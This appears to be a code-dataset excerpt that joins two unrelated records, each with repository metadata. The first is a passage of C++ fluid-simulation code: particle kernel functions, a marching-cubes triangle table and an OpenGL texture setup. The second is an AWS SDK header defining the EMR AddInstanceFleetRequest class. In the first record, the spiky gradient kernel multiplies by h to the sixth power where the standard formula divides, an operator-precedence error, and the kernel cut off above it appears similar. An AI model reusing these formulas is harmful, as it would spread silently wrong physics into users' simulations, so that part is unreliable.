* 3.1415f * std::pow(h, 9); } //===================================== // ∇W_ij = -45*(h-r)^2/pi*h^6 //===================================== float SpikyGradientKernel(float r, float h) { return -45 * (h-r)*(h-r) / 3.1415f * std::pow(h, 6); } }; int triTable[256][16] = { {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 8, 3, 9, 8, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 2, 10, 0, 2, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 8, 3, 2, 10, 8, 10, 9, 8, -1, -1, -1, -1, -1, -1, -1}, {3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 11, 2, 8, 11, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 11, 2, 1, 9, 11, 9, 8, 11, -1, -1, -1, -1, -1, -1, -1}, {3, 10, 1, 11, 10, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 10, 1, 0, 8, 10, 8, 11, 10, -1, -1, -1, -1, -1, -1, -1}, {3, 9, 0, 3, 11, 9, 11, 10, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 3, 0, 7, 3, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 1, 9, 4, 7, 1, 7, 3, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 4, 7, 3, 0, 4, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1}, {9, 2, 10, 9, 0, 2, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1}, {2, 10, 9, 2, 9, 7, 2, 7, 3, 7, 9, 4, -1, -1, -1, -1}, {8, 4, 7, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 4, 7, 11, 2, 4, 2, 0, 4, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 1, 8, 4, 7, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, {4, 7, 11, 9, 4, 11, 9, 11, 2, 9, 2, 1, -1, -1, -1, -1}, {3, 10, 1, 3, 11, 10, 7, 8, 4, -1, -1, -1, -1, -1, -1, -1}, {1, 11, 10, 1, 4, 11, 1, 0, 4, 7, 11, 4, -1, -1, -1, -1}, {4, 7, 8, 9, 0, 11, 9, 11, 10, 11, 0, 3, -1, -1, -1, -1}, {4, 7, 11, 4, 11, 9, 9, 11, 10, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 5, 4, 1, 5, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 5, 4, 8, 3, 5, 3, 1, 5, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 1, 2, 10, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, {5, 2, 10, 5, 4, 2, 4, 0, 2, -1, -1, -1, -1, -1, -1, -1}, {2, 10, 5, 3, 2, 5, 3, 5, 4, 3, 4, 8, -1, -1, -1, -1}, {9, 5, 4, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 11, 2, 0, 8, 11, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, {0, 5, 4, 0, 1, 5, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, {2, 1, 5, 2, 5, 8, 2, 8, 11, 4, 8, 5, -1, -1, -1, -1}, {10, 3, 11, 10, 1, 3, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 5, 0, 8, 1, 8, 10, 1, 8, 11, 10, -1, -1, -1, -1}, {5, 4, 0, 5, 0, 11, 5, 11, 10, 11, 0, 3, -1, -1, -1, -1}, {5, 4, 8, 5, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1}, {9, 7, 8, 5, 7, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 3, 0, 9, 5, 3, 5, 7, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 7, 8, 0, 1, 7, 1, 5, 7, -1, -1, -1, -1, -1, -1, -1}, {1, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 7, 8, 9, 5, 7, 10, 1, 2, -1, -1, -1, -1, -1, -1, -1}, {10, 1, 2, 9, 5, 0, 5, 3, 0, 5, 7, 3, -1, -1, -1, -1}, {8, 0, 2, 8, 2, 5, 8, 5, 7, 10, 5, 2, -1, -1, -1, -1}, {2, 10, 5, 2, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1}, {7, 9, 5, 7, 8, 9, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 7, 9, 7, 2, 9, 2, 0, 2, 7, 11, -1, -1, -1, -1}, {2, 3, 11, 0, 1, 8, 1, 7, 8, 1, 5, 7, -1, -1, -1, -1}, {11, 2, 1, 11, 1, 7, 7, 1, 5, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 8, 8, 5, 7, 10, 1, 3, 10, 3, 11, -1, -1, -1, -1}, {5, 7, 0, 5, 0, 9, 7, 11, 0, 1, 0, 10, 11, 10, 0, -1}, {11, 10, 0, 11, 0, 3, 10, 5, 0, 8, 0, 7, 5, 7, 0, -1}, {11, 10, 5, 7, 11, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 1, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 8, 3, 1, 9, 8, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 5, 2, 6, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 5, 1, 2, 6, 3, 0, 8, -1, -1, -1, -1, -1, -1, -1}, {9, 6, 5, 9, 0, 6, 0, 2, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 9, 8, 5, 8, 2, 5, 2, 6, 3, 2, 8, -1, -1, -1, -1}, {2, 3, 11, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 0, 8, 11, 2, 0, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 1, 9, 2, 9, 11, 2, 9, 8, 11, -1, -1, -1, -1}, {6, 3, 11, 6, 5, 3, 5, 1, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 11, 0, 11, 5, 0, 5, 1, 5, 11, 6, -1, -1, -1, -1}, {3, 11, 6, 0, 3, 6, 0, 6, 5, 0, 5, 9, -1, -1, -1, -1}, {6, 5, 9, 6, 9, 11, 11, 9, 8, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 3, 0, 4, 7, 3, 6, 5, 10, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 5, 10, 6, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1}, {10, 6, 5, 1, 9, 7, 1, 7, 3, 7, 9, 4, -1, -1, -1, -1}, {6, 1, 2, 6, 5, 1, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 5, 5, 2, 6, 3, 0, 4, 3, 4, 7, -1, -1, -1, -1}, {8, 4, 7, 9, 0, 5, 0, 6, 5, 0, 2, 6, -1, -1, -1, -1}, {7, 3, 9, 7, 9, 4, 3, 2, 9, 5, 9, 6, 2, 6, 9, -1}, {3, 11, 2, 7, 8, 4, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, {5, 10, 6, 4, 7, 2, 4, 2, 0, 2, 7, 11, -1, -1, -1, -1}, {0, 1, 9, 4, 7, 8, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1}, {9, 2, 1, 9, 11, 2, 9, 4, 11, 7, 11, 4, 5, 10, 6, -1}, {8, 4, 7, 3, 11, 5, 3, 5, 1, 5, 11, 6, -1, -1, -1, -1}, {5, 1, 11, 5, 11, 6, 1, 0, 11, 7, 11, 4, 0, 4, 11, -1}, {0, 5, 9, 0, 6, 5, 0, 3, 6, 11, 6, 3, 8, 4, 7, -1}, {6, 5, 9, 6, 9, 11, 4, 7, 9, 7, 11, 9, -1, -1, -1, -1}, {10, 4, 9, 6, 4, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 10, 6, 4, 9, 10, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1}, {10, 0, 1, 10, 6, 0, 6, 4, 0, -1, -1, -1, -1, -1, -1, -1}, {8, 3, 1, 8, 1, 6, 8, 6, 4, 6, 1, 10, -1, -1, -1, -1}, {1, 4, 9, 1, 2, 4, 2, 6, 4, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 1, 2, 9, 2, 4, 9, 2, 6, 4, -1, -1, -1, -1}, {0, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 3, 2, 8, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1}, {10, 4, 9, 10, 6, 4, 11, 2, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 2, 2, 8, 11, 4, 9, 10, 4, 10, 6, -1, -1, -1, -1}, {3, 11, 2, 0, 1, 6, 0, 6, 4, 6, 1, 10, -1, -1, -1, -1}, {6, 4, 1, 6, 1, 10, 4, 8, 1, 2, 1, 11, 8, 11, 1, -1}, {9, 6, 4, 9, 3, 6, 9, 1, 3, 11, 6, 3, -1, -1, -1, -1}, {8, 11, 1, 8, 1, 0, 11, 6, 1, 9, 1, 4, 6, 4, 1, -1}, {3, 11, 6, 3, 6, 0, 0, 6, 4, -1, -1, -1, -1, -1, -1, -1}, {6, 4, 8, 11, 6, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 10, 6, 7, 8, 10, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1}, {0, 7, 3, 0, 10, 7, 0, 9, 10, 6, 7, 10, -1, -1, -1, -1}, {10, 6, 7, 1, 10, 7, 1, 7, 8, 1, 8, 0, -1, -1, -1, -1}, {10, 6, 7, 10, 7, 1, 1, 7, 3, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 6, 1, 6, 8, 1, 8, 9, 8, 6, 7, -1, -1, -1, -1}, {2, 6, 9, 2, 9, 1, 6, 7, 9, 0, 9, 3, 7, 3, 9, -1}, {7, 8, 0, 7, 0, 6, 6, 0, 2, -1, -1, -1, -1, -1, -1, -1}, {7, 3, 2, 6, 7, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 11, 10, 6, 8, 10, 8, 9, 8, 6, 7, -1, -1, -1, -1}, {2, 0, 7, 2, 7, 11, 0, 9, 7, 6, 7, 10, 9, 10, 7, -1}, {1, 8, 0, 1, 7, 8, 1, 10, 7, 6, 7, 10, 2, 3, 11, -1}, {11, 2, 1, 11, 1, 7, 10, 6, 1, 6, 7, 1, -1, -1, -1, -1}, {8, 9, 6, 8, 6, 7, 9, 1, 6, 11, 6, 3, 1, 3, 6, -1}, {0, 9, 1, 11, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 8, 0, 7, 0, 6, 3, 11, 0, 11, 6, 0, -1, -1, -1, -1}, {7, 11, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 1, 9, 8, 3, 1, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, {10, 1, 2, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 3, 0, 8, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, {2, 9, 0, 2, 10, 9, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, {6, 11, 7, 2, 10, 3, 10, 8, 3, 10, 9, 8, -1, -1, -1, -1}, {7, 2, 3, 6, 2, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 0, 8, 7, 6, 0, 6, 2, 0, -1, -1, -1, -1, -1, -1, -1}, {2, 7, 6, 2, 3, 7, 0, 1, 9, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 2, 1, 8, 6, 1, 9, 8, 8, 7, 6, -1, -1, -1, -1}, {10, 7, 6, 10, 1, 7, 1, 3, 7, -1, -1, -1, -1, -1, -1, -1}, {10, 7, 6, 1, 7, 10, 1, 8, 7, 1, 0, 8, -1, -1, -1, -1}, {0, 3, 7, 0, 7, 10, 0, 10, 9, 6, 10, 7, -1, -1, -1, -1}, {7, 6, 10, 7, 10, 8, 8, 10, 9, -1, -1, -1, -1, -1, -1, -1}, {6, 8, 4, 11, 8, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 6, 11, 3, 0, 6, 0, 4, 6, -1, -1, -1, -1, -1, -1, -1}, {8, 6, 11, 8, 4, 6, 9, 0, 1, -1, -1, -1, -1, -1, -1, -1}, {9, 4, 6, 9, 6, 3, 9, 3, 1, 11, 3, 6, -1, -1, -1, -1}, {6, 8, 4, 6, 11, 8, 2, 10, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 3, 0, 11, 0, 6, 11, 0, 4, 6, -1, -1, -1, -1}, {4, 11, 8, 4, 6, 11, 0, 2, 9, 2, 10, 9, -1, -1, -1, -1}, {10, 9, 3, 10, 3, 2, 9, 4, 3, 11, 3, 6, 4, 6, 3, -1}, {8, 2, 3, 8, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1}, {0, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 2, 3, 4, 2, 4, 6, 4, 3, 8, -1, -1, -1, -1}, {1, 9, 4, 1, 4, 2, 2, 4, 6, -1, -1, -1, -1, -1, -1, -1}, {8, 1, 3, 8, 6, 1, 8, 4, 6, 6, 10, 1, -1, -1, -1, -1}, {10, 1, 0, 10, 0, 6, 6, 0, 4, -1, -1, -1, -1, -1, -1, -1}, {4, 6, 3, 4, 3, 8, 6, 10, 3, 0, 3, 9, 10, 9, 3, -1}, {10, 9, 4, 6, 10, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 5, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 4, 9, 5, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 0, 1, 5, 4, 0, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, {11, 7, 6, 8, 3, 4, 3, 5, 4, 3, 1, 5, -1, -1, -1, -1}, {9, 5, 4, 10, 1, 2, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, {6, 11, 7, 1, 2, 10, 0, 8, 3, 4, 9, 5, -1, -1, -1, -1}, {7, 6, 11, 5, 4, 10, 4, 2, 10, 4, 0, 2, -1, -1, -1, -1}, {3, 4, 8, 3, 5, 4, 3, 2, 5, 10, 5, 2, 11, 7, 6, -1}, {7, 2, 3, 7, 6, 2, 5, 4, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, 0, 8, 6, 0, 6, 2, 6, 8, 7, -1, -1, -1, -1}, {3, 6, 2, 3, 7, 6, 1, 5, 0, 5, 4, 0, -1, -1, -1, -1}, {6, 2, 8, 6, 8, 7, 2, 1, 8, 4, 8, 5, 1, 5, 8, -1}, {9, 5, 4, 10, 1, 6, 1, 7, 6, 1, 3, 7, -1, -1, -1, -1}, {1, 6, 10, 1, 7, 6, 1, 0, 7, 8, 7, 0, 9, 5, 4, -1}, {4, 0, 10, 4, 10, 5, 0, 3, 10, 6, 10, 7, 3, 7, 10, -1}, {7, 6, 10, 7, 10, 8, 5, 4, 10, 4, 8, 10, -1, -1, -1, -1}, {6, 9, 5, 6, 11, 9, 11, 8, 9, -1, -1, -1, -1, -1, -1, -1}, {3, 6, 11, 0, 6, 3, 0, 5, 6, 0, 9, 5, -1, -1, -1, -1}, {0, 11, 8, 0, 5, 11, 0, 1, 5, 5, 6, 11, -1, -1, -1, -1}, {6, 11, 3, 6, 3, 5, 5, 3, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 9, 5, 11, 9, 11, 8, 11, 5, 6, -1, -1, -1, -1}, {0, 11, 3, 0, 6, 11, 0, 9, 6, 5, 6, 9, 1, 2, 10, -1}, {11, 8, 5, 11, 5, 6, 8, 0, 5, 10, 5, 2, 0, 2, 5, -1}, {6, 11, 3, 6, 3, 5, 2, 10, 3, 10, 5, 3, -1, -1, -1, -1}, {5, 8, 9, 5, 2, 8, 5, 6, 2, 3, 8, 2, -1, -1, -1, -1}, {9, 5, 6, 9, 6, 0, 0, 6, 2, -1, -1, -1, -1, -1, -1, -1}, {1, 5, 8, 1, 8, 0, 5, 6, 8, 3, 8, 2, 6, 2, 8, -1}, {1, 5, 6, 2, 1, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 3, 6, 1, 6, 10, 3, 8, 6, 5, 6, 9, 8, 9, 6, -1}, {10, 1, 0, 10, 0, 6, 9, 5, 0, 5, 6, 0, -1, -1, -1, -1}, {0, 3, 8, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {10, 5, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 5, 10, 7, 5, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 5, 10, 11, 7, 5, 8, 3, 0, -1, -1, -1, -1, -1, -1, -1}, {5, 11, 7, 5, 10, 11, 1, 9, 0, -1, -1, -1, -1, -1, -1, -1}, {10, 7, 5, 10, 11, 7, 9, 8, 1, 8, 3, 1, -1, -1, -1, -1}, {11, 1, 2, 11, 7, 1, 7, 5, 1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 1, 2, 7, 1, 7, 5, 7, 2, 11, -1, -1, -1, -1}, {9, 7, 5, 9, 2, 7, 9, 0, 2, 2, 11, 7, -1, -1, -1, -1}, {7, 5, 2, 7, 2, 11, 5, 9, 2, 3, 2, 8, 9, 8, 2, -1}, {2, 5, 10, 2, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1}, {8, 2, 0, 8, 5, 2, 8, 7, 5, 10, 2, 5, -1, -1, -1, -1}, {9, 0, 1, 5, 10, 3, 5, 3, 7, 3, 10, 2, -1, -1, -1, -1}, {9, 8, 2, 9, 2, 1, 8, 7, 2, 10, 2, 5, 7, 5, 2, -1}, {1, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 7, 0, 7, 1, 1, 7, 5, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 3, 9, 3, 5, 5, 3, 7, -1, -1, -1, -1, -1, -1, -1}, {9, 8, 7, 5, 9, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {5, 8, 4, 5, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1}, {5, 0, 4, 5, 11, 0, 5, 10, 11, 11, 3, 0, -1, -1, -1, -1}, {0, 1, 9, 8, 4, 10, 8, 10, 11, 10, 4, 5, -1, -1, -1, -1}, {10, 11, 4, 10, 4, 5, 11, 3, 4, 9, 4, 1, 3, 1, 4, -1}, {2, 5, 1, 2, 8, 5, 2, 11, 8, 4, 5, 8, -1, -1, -1, -1}, {0, 4, 11, 0, 11, 3, 4, 5, 11, 2, 11, 1, 5, 1, 11, -1}, {0, 2, 5, 0, 5, 9, 2, 11, 5, 4, 5, 8, 11, 8, 5, -1}, {9, 4, 5, 2, 11, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 5, 10, 3, 5, 2, 3, 4, 5, 3, 8, 4, -1, -1, -1, -1}, {5, 10, 2, 5, 2, 4, 4, 2, 0, -1, -1, -1, -1, -1, -1, -1}, {3, 10, 2, 3, 5, 10, 3, 8, 5, 4, 5, 8, 0, 1, 9, -1}, {5, 10, 2, 5, 2, 4, 1, 9, 2, 9, 4, 2, -1, -1, -1, -1}, {8, 4, 5, 8, 5, 3, 3, 5, 1, -1, -1, -1, -1, -1, -1, -1}, {0, 4, 5, 1, 0, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 4, 5, 8, 5, 3, 9, 0, 5, 0, 3, 5, -1, -1, -1, -1}, {9, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 11, 7, 4, 9, 11, 9, 10, 11, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 4, 9, 7, 9, 11, 7, 9, 10, 11, -1, -1, -1, -1}, {1, 10, 11, 1, 11, 4, 1, 4, 0, 7, 4, 11, -1, -1, -1, -1}, {3, 1, 4, 3, 4, 8, 1, 10, 4, 7, 4, 11, 10, 11, 4, -1}, {4, 11, 7, 9, 11, 4, 9, 2, 11, 9, 1, 2, -1, -1, -1, -1}, {9, 7, 4, 9, 11, 7, 9, 1, 11, 2, 11, 1, 0, 8, 3, -1}, {11, 7, 4, 11, 4, 2, 2, 4, 0, -1, -1, -1, -1, -1, -1, -1}, {11, 7, 4, 11, 4, 2, 8, 3, 4, 3, 2, 4, -1, -1, -1, -1}, {2, 9, 10, 2, 7, 9, 2, 3, 7, 7, 4, 9, -1, -1, -1, -1}, {9, 10, 7, 9, 7, 4, 10, 2, 7, 8, 7, 0, 2, 0, 7, -1}, {3, 7, 10, 3, 10, 2, 7, 4, 10, 1, 10, 0, 4, 0, 10, -1}, {1, 10, 2, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 1, 4, 1, 7, 7, 1, 3, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 1, 4, 1, 7, 0, 8, 1, 8, 7, 1, -1, -1, -1, -1}, {4, 0, 3, 7, 4, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 8, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 9, 3, 9, 11, 11, 9, 10, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 10, 0, 10, 8, 8, 10, 11, -1, -1, -1, -1, -1, -1, -1}, {3, 1, 10, 11, 3, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 11, 1, 11, 9, 9, 11, 8, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 9, 3, 9, 11, 1, 2, 9, 2, 11, 9, -1, -1, -1, -1}, {0, 2, 11, 8, 0, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 2, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 8, 2, 8, 10, 10, 8, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 10, 2, 0, 9, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 8, 2, 8, 10, 0, 1, 8, 1, 10, 8, -1, -1, -1, -1}, {1, 10, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 3, 8, 9, 1, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 9, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 3, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}}; struct MarchingCube { public: unsigned int triTexture; public: MarchingCube() { glGenTextures(1, &triTexture); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, triTexture); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE); glTexImage2D(GL_TEXTURE_2D, 0, GL_R16I, 16, 256, 0, GL_RED_INTEGER, GL_INT, &triTable); } ~MarchingCube() { } };
45.996552
144
0.380613
[ "object", "vector" ]
30258274df7bed18d67c106f68946caea738cdcb
3,596
h
C
aws-cpp-sdk-elasticmapreduce/include/aws/elasticmapreduce/model/AddInstanceFleetRequest.h
AmineChatt1A/aws-sdk-cpp
3e979d7bc272f77ac179b4849f7386027201c1a2
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-elasticmapreduce/include/aws/elasticmapreduce/model/AddInstanceFleetRequest.h
AmineChatt1A/aws-sdk-cpp
3e979d7bc272f77ac179b4849f7386027201c1a2
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-elasticmapreduce/include/aws/elasticmapreduce/model/AddInstanceFleetRequest.h
AmineChatt1A/aws-sdk-cpp
3e979d7bc272f77ac179b4849f7386027201c1a2
[ "Apache-2.0" ]
1
2021-10-01T15:29:44.000Z
2021-10-01T15:29:44.000Z
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/elasticmapreduce/EMR_EXPORTS.h> #include <aws/elasticmapreduce/EMRRequest.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <aws/elasticmapreduce/model/InstanceFleetConfig.h> #include <utility> namespace Aws { namespace EMR { namespace Model { /** */ class AWS_EMR_API AddInstanceFleetRequest : public EMRRequest { public: AddInstanceFleetRequest(); Aws::String SerializePayload() const override; Aws::Http::HeaderValueCollection GetRequestSpecificHeaders() const override; /** * <p>The unique identifier of the cluster.</p> */ inline const Aws::String& GetClusterId() const{ return m_clusterId; } /** * <p>The unique identifier of the cluster.</p> */ inline void SetClusterId(const Aws::String& value) { m_clusterIdHasBeenSet = true; m_clusterId = value; } /** * <p>The unique identifier of the cluster.</p> */ inline void SetClusterId(Aws::String&& value) { m_clusterIdHasBeenSet = true; m_clusterId = std::move(value); } /** * <p>The unique identifier of the cluster.</p> */ inline void SetClusterId(const char* value) { m_clusterIdHasBeenSet = true; m_clusterId.assign(value); } /** * <p>The unique identifier of the cluster.</p> */ inline AddInstanceFleetRequest& WithClusterId(const Aws::String& value) { SetClusterId(value); return *this;} /** * <p>The unique identifier of the cluster.</p> */ inline AddInstanceFleetRequest& WithClusterId(Aws::String&& value) { SetClusterId(std::move(value)); return *this;} /** * <p>The unique identifier of the cluster.</p> */ inline AddInstanceFleetRequest& WithClusterId(const char* value) { SetClusterId(value); return *this;} /** * <p>Specifies the configuration of the instance fleet.</p> */ inline const InstanceFleetConfig& GetInstanceFleet() const{ return m_instanceFleet; } /** * <p>Specifies the configuration of the instance fleet.</p> */ inline void SetInstanceFleet(const InstanceFleetConfig& value) { m_instanceFleetHasBeenSet = true; m_instanceFleet = value; } /** * <p>Specifies the configuration of the instance fleet.</p> */ inline void SetInstanceFleet(InstanceFleetConfig&& value) { m_instanceFleetHasBeenSet = true; m_instanceFleet = std::move(value); } /** * <p>Specifies the configuration of the instance fleet.</p> */ inline AddInstanceFleetRequest& WithInstanceFleet(const InstanceFleetConfig& value) { SetInstanceFleet(value); return *this;} /** * <p>Specifies the configuration of the instance fleet.</p> */ inline AddInstanceFleetRequest& WithInstanceFleet(InstanceFleetConfig&& value) { SetInstanceFleet(std::move(value)); return *this;} private: Aws::String m_clusterId; bool m_clusterIdHasBeenSet; InstanceFleetConfig m_instanceFleet; bool m_instanceFleetHasBeenSet; }; } // namespace Model } // namespace EMR } // namespace Aws
31.54386
135
0.698554
[ "model" ]
